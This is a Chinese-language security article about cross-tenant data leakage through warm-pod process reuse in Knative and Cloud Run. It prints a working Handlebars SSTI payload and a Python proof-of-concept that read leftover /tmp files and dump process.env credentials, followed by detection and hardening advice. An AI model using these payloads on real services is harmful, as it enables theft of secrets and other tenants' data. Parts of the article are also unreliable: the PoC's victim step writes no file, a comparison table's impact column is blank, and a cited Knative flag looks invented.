摘要

Knative 通过保留最小数量的常驻 Pod 来加速无服务器函数的冷启动,但其容器复用策略在安全性与性能之间制造了一道危险的裂缝:当某个函数容器被重用时,其内存中可能残留上一个请求的变量、环境密钥、数据库连接池或临时文件。攻击者可以在 Serverless 平台上发起一个合法请求,利用容器复用时未清理的 tmpfs 或环境变量读取上一个租户的残留数据。部分平台为了降低延迟,甚至不重启 Node.js 或 Python 进程,仅清空 HTTP 上下文,使得跨请求的数据残留成为系统性缺陷。

Knative 冷启动优化与实例复用

冷启动的代价与优化

Knative Serving 基于 Kubernetes,为每个函数实例(Revision)创建 Pod 来服务请求。当函数长时间未收到请求时,Knative 会将其 Pod 缩减到零以节省资源。下一个请求到达时,需要重新创建 Pod、拉取镜像、启动容器、初始化运行时环境——这一“冷启动”过程可能耗费数秒,远高于用户体验可接受的延迟。

为了降低冷启动延迟,Knative 引入了 容器实例保持 策略:即使没有活跃请求,也保留一个或多个“温暖”的 Pod 在内存中等待。

当新请求到达时,这些温暖的 Pod 可以立即处理请求,避免镜像拉取和运行时初始化。这些温暖的 Pod 可能被同一个函数实例的多个请求复用,甚至在某些配置下被同一命名空间内的不同函数实例复用。

实例复用时的内存语义

当一个温暖的 Pod 被复用时,Knative 不会重新启动容器进程,而是直接向现有进程发送新的 HTTP 请求。对于 Node.js、Python 等解释型语言运行时,这意味着同一进程的内存空间将被多个请求共享。tmpfs、环境变量、全局变量和堆中的对象都保持原样,只有 HTTP 上下文被重新初始化。

这种“进程级复用”带来了显著的安全隐患:如果前一个请求在内存中留下了敏感数据,这些数据可能被后续请求读取。例如:

  • 用户 A 提交了一个包含 API 密钥的函数请求,该密钥被存储在某个全局变量或 tmpfs 文件中。
  • 用户 B 随后向同一函数实例发起请求,如果用户 B 的函数代码中存在任意文件读取或内存转储漏洞,即可窃取用户 A 的密钥。

平台间的差异

不同 Serverless 平台在容器复用策略上存在显著差异:

平台
容器复用策略
内存清理
安全影响
Knative
保持温暖 Pod,复用进程
不清理 tmpfs 和全局变量
AWS Lambda
冻结/解冻执行环境
解冻时清理部分状态,但全局变量保留
Google Cloud Run
复用容器实例
不重启进程,内存残留
Azure Functions
按需扩展,可能复用进程
部分清理

本文将重点分析 Knative 和 Google Cloud Run 这两种典型的“进程复用”平台。

从tmpfs到堆的泄露路径

tmpfs的不完全清理

在容器化环境中,tmpfs 是一个基于内存的临时文件系统,常用于存储会话数据、临时上传文件或运行时缓存。Knative 的温暖 Pod 被复用时,tmpfs 中的文件不会被自动清空——因为清空操作仅发生在容器重启时,而温暖 Pod 的设计正是为了避免重启。

攻击者可以利用这一缺陷:

  1. 用户 A 调用一个接受文件上传的函数,上传的敏感文件被保存到 /tmptmpfs)。
  2. 函数处理完成后返回响应,但 /tmp 中的文件未被清理。
  3. 用户 B 调用同一函数实例,函数的入口代码(或攻击者注入的代码)尝试读取 /tmp 中的遗留文件,成功窃取用户 A 的上传内容。

全局变量与堆残留

在 Node.js 或 Python 等语言中,全局变量在模块加载时初始化,之后一直存在于进程生命周期中。如果函数代码在处理请求时将敏感数据赋值给全局变量(例如用于缓存数据库连接字符串或解密密钥),这些数据在后续请求中仍然可访问。

攻击者可以利用函数内部的任意代码执行漏洞(如原型污染、命令注入),读取这些全局变量。即使在正常情况下函数代码不会泄露全局变量,攻击者也可以通过构造特殊请求,诱导函数将全局变量内容写入响应。

环境变量与会话 Cookie

环境变量在容器启动时设置,包含敏感信息(如数据库凭据、第三方 API 密钥)。当温暖 Pod 被复用时,这些环境变量自然保留。攻击者若能触发函数代码读取环境变量(例如通过 Server-Side Template Injection),即可窃取这些凭据。

会话 Cookie 是另一个泄露源。如果前一个请求的 Cookie 被缓存在内存中(例如在日志缓冲区或调试输出中),后续请求的攻击者可能通过注入代码读取这些 Cookie,实现会话劫持。

从残留读取到跨租户窃取

攻击者模型

  • 攻击者是 Serverless 平台的合法租户,可以调用目标函数。
  • 目标函数存在一个代码注入漏洞(如 SSTI、原型污染或反序列化)。
  • 目标函数在温暖 Pod 中被复用,前一个请求留下的敏感数据尚未被清理。

攻击步骤

  1. 侦察:攻击者向目标函数发起一个请求,观察响应时间。较短的响应时间(远低于冷启动延迟)表明请求命中了温暖 Pod。
  2. 注入探测:攻击者发送一个包含恶意载荷的请求,尝试读取 /tmp 目录列表或常见全局变量。
  3. 提取残留:一旦确认存在内存残留,攻击者针对性读取前一个请求留下的敏感文件、密钥或会话令牌。
  4. 横向扩展:利用窃取到的凭据,攻击者可以访问其他云资源或进一步渗透平台。

SSTI 驱动的临时文件窃取

假设一个基于 Node.js 的 Knative 函数接收用户输入,并使用 Handlebars 模板引擎渲染响应。该函数将用户上传的文件保存到 /tmp,但未在响应后删除。

攻击者发送一个包含 SSTI 载荷的请求:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('fs').readFileSync('/tmp/secret.txt','utf8')"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

这段 SSTI 载荷利用 Handlebars 的 constructor 属性访问 Function 构造函数,最终执行 require('fs').readFileSync('/tmp/secret.txt','utf8'),读取前一个请求留下的敏感文件内容,并将其渲染到响应中返回给攻击者。

POC

环境搭建

使用 kn 或 kubectl 在 Knative 集群上部署一个简单的 Node.js 函数:

// index.js — 存在 SSTI 漏洞的函数
const express = require('express');
const Handlebars = require('handlebars');
const fs = require('fs');
const app = express();

app.use(express.json());

app.post('/render', (req, res) => {
const template = req.body.template;
const compiled = Handlebars.compile(template);
const result = compiled({});
    res.send(result);
});

app.listen(8080, () => console.log('Function listening on 8080'));

部署函数并确认温暖 Pod

# 构建镜像
docker build -t gcr.io/project/ssti-function .
docker push gcr.io/project/ssti-function

# 部署到 Knative
kn service create ssti-function --image gcr.io/project/ssti-function

部署后,先发送一个正常请求以触发冷启动,然后等待函数缩放至温暖 Pod 状态。

利用残留内存提取敏感数据

#!/usr/bin/env python3
# exploit_residual_memory.py — 通过 SSTI 从温暖容器窃取临时文件

import requests
import time

FUNCTION_URL = "https://ssti-function.default.example.com"

# 第一步:模拟受害者上传敏感文件
victim_payload = {
"template": "normal",
}
requests.post(FUNCTION_URL, json=victim_payload)

# 第二步:攻击者发送 SSTI 载荷读取 /tmp 目录
ssti_payload = """
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('fs').readdirSync('/tmp').join(',')"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
"""

response = requests.post(FUNCTION_URL, json={"template": ssti_payload})
print(f"[*] /tmp 目录内容: {response.text}")

# 第三步:读取残留的敏感文件
ssti_read_secret = ssti_payload.replace(
"return require('fs').readdirSync('/tmp').join(',')",
"return require('fs').readFileSync('/tmp/secret.txt','utf8')"
)

response = requests.post(FUNCTION_URL, json={"template": ssti_read_secret})
print(f"[+] 窃取到的秘密: {response.text}")

说明:该 PoC 展示了如何通过 SSTI 漏洞在温暖容器中读取残留的临时文件。攻击者先诱导受害者上传敏感文件,然后在同一个温暖 Pod 中发送 SSTI 载荷,利用 require('fs') 读取 /tmp 目录并提取文件内容。

环境变量窃取

# 读取环境变量中的数据库凭据
ssti_env = ssti_payload.replace(
"return require('fs').readdirSync('/tmp').join(',')",
"return JSON.stringify(process.env)"
)

response = requests.post(FUNCTION_URL, json={"template": ssti_env})
print(f"[+] 环境变量: {response.text}")

检测与防御

检测方法

  • 内存残留审计:在函数实例复用时,执行 stat 或 ls 检查 /tmp 中是否存在异常文件。若发现前一个请求留下的文件,标记为安全风险。
  • 响应时间分析:监控温暖 Pod 的请求响应时间。攻击者注入的代码(如 SSTI 中的 require('fs'))通常会增加处理延迟,可作为异常指标。
  • 代码注入检测:对输入模板进行静态分析和运行时监控,检测 constructor__proto__require 等危险模式。

运行时加固

  • 强制清理临时文件:在函数请求处理完成后,使用 finally 块或中间件清理 /tmp 中的所有临时文件。Knative 平台可在请求结束时自动挂载一个新的 tmpfs 实例。
  • 冻结/解冻执行环境:借鉴 AWS Lambda 的模型,在请求之间冻结容器内存,避免跨请求共享状态。Knative 可通过 --freeze-after-request 标志(需运行时支持)实现类似效果。
  • 限制全局变量使用:通过代码扫描工具检测全局变量的赋值,禁止将敏感数据存储在全局作用域。
  • 安全沙箱:使用 gVisor 或 Firecracker (可以参考以下优缺点选择)替代传统容器运行时,增加内存隔离和系统调用过滤。

平台策略

  • 每个请求独立容器:对于高安全级别租户,可配置 Knative 为每个请求启动新容器,禁用温暖 Pod 复用。虽然会增加冷启动延迟,但能彻底消除内存残留风险。
  • 内存加密:使用 Intel SGX 或 AMD SEV 对函数运行时内存进行加密,即使攻击者读取残留数据,也无法解密。
  • 镜像签名与扫描:确保函数镜像经过安全扫描,不包含已知的模板注入漏洞。

结语

Knative 的冷启动优化体现了性能与安全之间永恒的张力。保持温暖 Pod 避免了数秒的延迟,却将容器内存变成了跨请求共享的信箱——前一个租户投递的秘密,可能被后一个租户轻易取走。攻击者所需的仅仅是一个常见的模板注入漏洞,就能将容器的复用机制转化为数据窃取的通道。对于 Serverless 平台而言,安全不能仅仅依赖租户代码的“善意”,必须通过强制清理、执行环境冻结和沙箱隔离等技术手段,在架构层面阻断内存残留的传播路径。